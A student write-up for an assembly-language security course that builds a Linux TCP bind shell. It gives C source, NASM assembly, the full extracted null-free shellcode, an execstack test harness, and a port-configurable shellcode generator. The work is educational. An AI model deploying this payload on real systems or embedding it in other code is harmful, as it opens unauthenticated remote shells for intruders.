Intro
So part one of the challenges for Security Tube Linux Assembly Expert (SLAE) certification, TCP bind shell code. For more info on the course look here. Given my minimal knowledge of C programming at this point my intended process for this challenge is to:
- Identify the steps I need to take with the code
- Write a working C proof of concept for the task
- Port the C code to assembly language
- Compile and link to a binary and extract the working shell-code
- Finally work out a way of making the port number dynamic for the shell-code
Identify the steps I need to take with the code
With a little google fu and thanks to geeksforgeeks it looks like we can break the tasks down into the following
- Create a socket
- Bind the socket
- Make the socket listen
- Accept connections
- Send a shell to the connection
Write a working C proof of concept for the task
So this took a bit of research but eventually we end up with the below. In particular you need to ensure that you understand the headers to include and what the various variables are value wise as we will require them when it comes to porting this to assembly. I’ve tried to comment everything inline to make as much sense as possible.
// File: bind_shell.c // Simple bind shell in C, part of SLAE assessment 1 #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <stdlib.h> #include <unistd.h> #define PORT 4444 int tcp_socket; int client_socket_id; struct sockaddr_in address; int main() { // Define our socket // AF_INET = IPv4 (2) , // SOCK_STREAM = 2 way communication (1), // 0 = default protocol type TCP (0) tcp_socket = socket(AF_INET,SOCK_STREAM,0); // Bind Socket // Initialise the socket address structure address.sin_family = AF_INET; // 2 address.sin_port = htons(PORT); // 4444 address.sin_addr.s_addr = INADDR_ANY; // 0 // Bind to it bind(tcp_socket,(struct sockaddr *) &address, sizeof(address)); // Listen listen(tcp_socket,0); // Accept connections client_socket_id = accept(tcp_socket, NULL ,NULL); // Pipe input and output dup2(client_socket_id,2); // stderr dup2(client_socket_id,1); // stdout dup2(client_socket_id,0); // stdin // Run a shell execve("/bin/sh",NULL ,NULL); // Exit return 0; }
With the code in place we compile and test on our local machine using gcc and netcat and we have a working POC.
Moving on we can of course drop the shellcode out of the binary we have just created using C with the following command:
objdump -d ./bind_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
However this is, one rather long, and two full of null terminators (\x00) so not overly useful to us as a piece of shellcode. Time to see we we can craft something more useful in assembly.
Port the C code to assembly language
So final code for this is below, the syscalls and variables for each function are ultimately derived from the following:
cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep socket # syscall we want
man 2 socket
man 2 bind
man 2 listen
man 2 accept
man 2 dup2
man 2 execve
The code is rough and ready, I’ve purposely left it that way for now. One to see how my assembly programming improves and two as, optimising it might be an extra mile exercise a little later on. Another point I noted whilst debugging is that a lot of other students “exercise 1” code uses the “socketcall” function rather than socket, listen, accept etc. I’m not sure that either approach makes any different, however as I was replicating the above C code, I soldiered on with separate calls. Finally there doesn’t appear to be a syscall for “accept” so you have to use “accept4” in its place.
Hit a few challenges along the way which I thought it worth documenting which might aid fellows students should they hit similar problems.
Sockaddr Data structure
So the key to getting this working is the fact the structure has to be 16 bytes long and is fed to the stack in reverse order, so requires some padding, you are looking for something like this at the point you call bind:
Format of Port Number
Secondly and related to the above once I got everything working and the shell running, it worked but on a seemingly random high port number rather than 4444. This is because the port bytes need feeding to the stack in reverse order, e.g: 4444 = 0x115c in hex, what we actually want to push to the stack is.
push word 0x5c11
0x00 In Final Shell-code
So having finally got everything working I compiled and extracted my first shell-code to find it riddled with null bytes 🙁
suls@ubuntu:~/myslae/Assignment-1$ objdump -d ./bind_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x31\xc0\xb8\x67\x01\x00\x00\x31\xdb\xb3\x02\x31\xc9\xb1\x01\x31\xd2\x89\xca\x83\xea\x01\xcd\x80\x96\x52\x68\x11\x5c\x00\x00\x66\x6a\x02\xb8\x69\x01\x00\x00\x89\xf3\x89\xe1\xba\x10\x00\x00\x00\xcd\x80\x31\xc0\xb8\x6b\x01\x00\x00\x89\xf3\x31\xc9\xcd\x80\xb8\x6c\x01\x00\x00\x89\xf3\x31\xc9\x31\xd2\x56\x31\xf6\xcd\x80\x5e\x89\xc7\xb8\x3f\x00\x00\x00\x89\xfb\xb9\x02\x00\x00\x00\xcd\x80\x49\xb8\x3f\x00\x00\x00\xcd\x80\x49\xb8\x3f\x00\x00\x00\xcd\x80\xb8\x0b\x00\x00\x00\x31\xdb\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80"
Disassembling the binary gives a clearer picture of whats going on:
In short moving a 8 or 16 bit value into a 32 bit register doesn’t fill it and it gets padded with zeros. Obvious beginners mistake. To correct instead of using the full register use the correct section for the amount of data you are moving.
mov eax, 0x12345678
mov ax, 0x1234
mov al, 0x12
bind_shell.nasm
; Filename bind_shell.nasm ; Purpose: TCP bind shell global _start section .text _start: ; Clear everthing we are using xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx xor esi, esi xor edi, edi ; Set up a syscall for creating a socket ; int socket(int domain, int type, int protocol); ; syscall = 359 Goes in EAX ; EBX 2 ; ECX 1 ; EDX 0 mov ax, 0x167 ; move 359 to al mov bl, 0x2 ; move 2 to bl mov cl, 0x1 ; move 1 to cl mov edx, ecx ; move 1 into edx sub edx, 0x1 ; then subtract 1 to make zero int 0x80 xchg esi, eax ; socket file descriptor now stored in esi ; Set up syscall for bind ; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen); ; syscall = 361 (EAX) ; EBX = esi ; ECX = sockaddr structure (pointer to) ; EDX = len(sockaddr structure) ; First we are going to build the structure need for sockaddr on the stack (reverse order) xor edx, edx push edx ; currently 0 (INADDR_ANY) push word 0x5c11 ; Port 4444 (reverse byte order 4444 = 0x115c) push word 0x2 ; (AF-INET) ; Now assemble the actual call mov ax, 0x169 ; Syscall 361 mov ebx, esi ; fd for socket mov ecx, esp ; Structure for sockaddr, eg point ecx at the stack mov dl, 0x10 ; length of sockaddr (16) int 0x80 ; call system interupt ; Setup syscall for listen ; int listen(int sockfd, int backlog); ; syscall listen = 363 mov ax, 0x16b ; system call 363 mov ebx, esi ; fd for our socket xor ecx, ecx ; clear ecx (int backlog = 0) int 0x80 ; call system interupt ; Setup syscall for accept ; syscall 364 ; int accept4(int sockfd, struct sockaddr *addr, socklen_t *addrlen, int flags); mov ax, 0x16c ; syscall 364 mov ebx, esi ; Socket fd xor ecx, ecx ; null ecx and edx xor edx, edx push esi ; save esi on the stack for now xor esi, esi int 0x80 pop esi ; Get the value back mov edi, eax ; store incoming fd in edi ; Setup duplicate file descriptors for our socket ; int dup2(int oldfd, int newfd); ; syscall 63 mov al, 0x3f ; syscall 63 mov ebx, edi ; mov cl, 0x2 int 0x80 dec ecx mov al, 0x3f ; syscall 63 int 0x80 dec ecx mov al, 0x3f ; syscall 63 int 0x80 ; Finally run a shell ; Execve = syscall 11 ; (const char *filename, char *const argv[], char *const envp[]); xor eax,eax ; null eax mov al, 0xb ; syscall 11 into eax xor ebx, ebx ; zero ebx push ebx ; push a null string to the stack to terminate our string push 0x68732f2f ; hs// push 0x6e69622f ; nib/ mov ebx, esp ; point ebx at the stack xor ecx, ecx ; clear ecx and edx as they are used in the syscall xor edx, edx int 0x80 section .data
Compile, Link and Extract
So finally get to compiling and linking our nasm file with the following commands:
nasm -f elf32 -o bind_shell.o bind_shell.nasm gcc -o bind_shell bind_shell.o
With this complete we can extract our shell-code and test it works. Extraction with the previous bash command line looks like this.
suls@ubuntu:~/myslae/Assignment-1$ objdump -d ./bind_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x31\xf6\x31\xff\x66\xb8\x67\x01\xb3\x02\xb1\x01\x89\xca\x83\xea\x01\xcd\x80\x96\x31\xd2\x52\x66\x68\x11\x5c\x66\x6a\x02\x66\xb8\x69\x01\x89\xf3\x89\xe1\xb2\x10\xcd\x80\x66\xb8\x6b\x01\x89\xf3\x31\xc9\xcd\x80\x66\xb8\x6c\x01\x89\xf3\x31\xc9\x31\xd2\x56\x31\xf6\xcd\x80\x5e\x89\xc7\xb0\x3f\x89\xfb\xb1\x02\xcd\x80\x49\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\x31\xc0\xb0\x0b\x31\xdb\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80"
With our final shell code in place we can use a short C program to test the extracted shell-code works:
#include<stdio.h> #include<string.h> unsigned char code[] = \ "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x31\xf6\x31\xff\x66\xb8\x67\x01\xb3\x02\xb1\x01\x89\xca\x83\xea\x01\xcd\x80\x96\x31\xd2\x52\x66\x68\x11\x5c\x66\x6a\x02\x66\xb8\x69\x01\x89\xf3\x89\xe1\xb2\x10\xcd\x80\x66\xb8\x6b\x01\x89\xf3\x31\xc9\xcd\x80\x66\xb8\x6c\x01\x89\xf3\x31\xc9\x31\xd2\x56\x31\xf6\xcd\x80\x5e\x89\xc7\xb0\x3f\x89\xfb\xb1\x02\xcd\x80\x49\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\x31\xc0\xb0\x0b\x31\xdb\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }
Which we compile as follows:
gcc -fno-stack-protector -z execstack -o bind_shell_shellcode shellcode.c
And test. A working shell code of 121 bytes.
Make the Port Number Dynamic
Final task in this section is to make the port number dynamic. Numerous way of doing this, my approach is going to be to string substitute the port value in the shell-code in C.
Final code below, which is functional but lacks any kind of error handling or sense checking of the user input or checking for bad characters.
// File: bind_shell_program.c // Simple bind shell with configurable port number in C, part of SLAE assessment 1 // NB: Zero error checking in this script :/ #include<stdio.h> #include<stdlib.h> #include<string.h> int portnumber; unsigned char porthigh, portlow; main(int argc, char** argv) { // Check some thing has been passed in if (argc != 2) { printf("Port number must be supplied\n"); printf("Usage: %s \n", argv[0]); } // Convert Port number to some thing usable portnumber = atoi(argv[1]); porthigh = portnumber >> 8 ; portlow = (portnumber << 8) >> 8; // Display our shellcode printf("Shellcode Length: 121"); printf("Bind Port (%05d) \n\n",portnumber); printf("\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\x31\\xf6\\x31\\xff\\x66\\xb8\\x67\\x01\\xb3\\x02\\xb1\\x01\\x89\\xca\\x83\\xea\\x01\\xcd\\x80\\x96\\x31\\xd2\\x52\\x66\\x68\\x%02x\\x%02x\\x66\\x6a\\x02\\x66\\xb8\\x69\\x01\\x89\\xf3\\x89\\xe1\\xb2\\x10\\xcd\\x80\\x66\\xb8\\x6b\\x01\\x89\\xf3\\x31\\xc9\\xcd\\x80\\x66\\xb8\\x6c\\x01\\x89\\xf3\\x31\\xc9\\x31\\xd2\\x56\\x31\\xf6\\xcd\\x80\\x5e\\x89\\xc7\\xb0\\x3f\\x89\\xfb\\xb1\\x02\\xcd\\x80\\x49\\xb0\\x3f\\xcd\\x80\\x49\\xb0\\x3f\\xcd\\x80\\x31\\xc0\\xb0\\x0b\\x31\\xdb\\x53\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\\xc9\\x31\\xd2\\xcd\\x80\n\n",porthigh,portlow); return 0; }
So that is assignment one completed, source code is available on gitub here.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1436